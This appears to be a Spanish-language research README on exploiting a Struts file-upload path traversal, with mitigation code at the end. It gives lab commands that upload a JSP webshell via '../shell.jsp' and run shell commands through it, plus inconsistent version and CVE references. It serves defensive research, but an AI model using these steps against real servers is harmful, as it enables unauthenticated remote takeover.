
Investigación de opciones de explotación para CVE-2024-53667 y su remediación
El fallo está en cómo FileUploadInterceptor de Struts entrega el nombre del archivo subido a la clase de acción.
Normalmente el interceptor sanitiza el nombre del archivo, pero Struts también permite que cualquier parámetro multipart sea
procesado como una expresión OGNL por ParametersInterceptor. Enviar top.UploadFileName
(o uploadFileName[0] para acciones de múltiples archivos) como un campo de formulario invoca directamente
action.setUploadFileName(value) a través de OGNL, sobrescribiendo lo que haya establecido el interceptor.
La acción entonces escribe el archivo sin sanitización de ruta:
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
Enviar ../shell.jsp como nombre de archivo resuelve a:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← served at http://localhost:8080/shell.jsp
Subir un webshell JSP allí permite RCE sin autenticación.
Se están investigando dos exploits relacionados con esta vulnerabilidad:
El servidor de aplicaciones Lab Tomcat, utilizado como objetivo para ambos exploits, se toma del primer repositorio y se ejecuta en un contenedor (docker o podman).
Otro exploit se proporciona en este repositorio como una versión Java de poc.py, que
se origina de la segunda fuente.
La sutil diferencia entre los dos exploits se muestra en la tabla de comparación lado a lado al final de este documento.
Se ha confirmado que ambos exploits funcionan en Struts 6.3.0.2.
Sin embargo, cuando actualizamos Struts a 6.8.0 o 6.9.0, el primer exploit
(CVE-2024-53677.py) dejó de funcionar - debido a la corrección en Struts 9.4.0.
El segundo exploit (StrutsExploitRunner) funciona en todas las versiones 6.3.0.2, 6.8.0,
6.9.0, a menos que el código de la aplicación explotable se actualice como se recomienda
a continuación en la sección de Mitigación.
Vea los detalles técnicos de la investigación a continuación.
Clone el primer repositorio y cambie a su directorio raíz:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
Necesitará docker (originalmente) o podman (usado en nuestra investigación) para construir y ejecutar el Lab Tomcat explotado:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Ejecute los scripts de exploit como se describe a continuación en una terminal separada desde el directorio raíz del repositorio con el entorno virtual de Python activado.
Sube un webshell JSP a /upload.action usando top.UploadFileName para inyectar un nombre de archivo
con path traversal. El webshell hardcodeado acepta comandos mediante ?action=cmd&cmd=<comando>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p es el valor pasado como top.UploadFileName. Un ../ es suficiente para escapar del directorio uploads/
y colocar el archivo en la raíz web.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Note el parámetro requerido action=cmd — el webshell hardcodeado lo verifica antes de ejecutar
el comando. Sin él, obtiene Unknown action. en lugar de salida.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
Apunta a /uploads.action (la variante de múltiples archivos) y establece uploadFileName[0] a través de OGNL a un
valor de path traversal. El mismo bypass subyacente, diferente nombre de parámetro y clase de acción.
Necesitará JDK 17 o posterior para construir y ejecutar el exploit (el binario java debe estar en su PATH).
Ejecute el siguiente comando en la raíz de este repositorio para construir el uber-jar ejecutable:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames fija el nombre del archivo para que sepa dónde obtenerlo. Sin él, el script genera
nombres aleatorios que se muestran en la salida.
El webshell subido por esta aplicación utiliza la interfaz más simple ?cmd=:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
La solución canónica es actualizar a Struts 7.x, que reestructuró el mecanismo de subida de archivos por completo. Si esa actualización está bloqueada (compatibilidad con JDK 8, restricciones de dependencias de terceros), se puede aplicar la mitigación a continuación.
Esta es la corrección más robusta porque funciona independientemente de lo que pase cualquier interceptor. Elimine todos los componentes de ruta del nombre del archivo antes de construir la ruta de destino, luego verifique que la ruta resuelta siga estando dentro del directorio previsto.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
Paths.get("../shell.jsp").getFileName() devuelve shell.jsp, por lo que incluso si top.UploadFileName
entrega una cadena de traversal, se reduce a un nombre de archivo simple antes de que ocurra cualquier E/S.
El mismo patrón se aplica a UploadsAction — aplíquelo dentro del bucle for en cada
uploadFileName.get(i).
| CVE-2024-53677.py | StrutsExploitRunner |
|---|
| Endpoint | /upload.action | /uploads.action |
| Parámetro OGNL | top.UploadFileName | uploadFileName[0] |
| Clase de acción | UploadAction (archivo único) | UploadsAction (múltiples archivos) |
| Llamada webshell | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| Bug de ruta predet. | ninguno | --paths por defecto es demasiado profundo, sobrescribir con .. |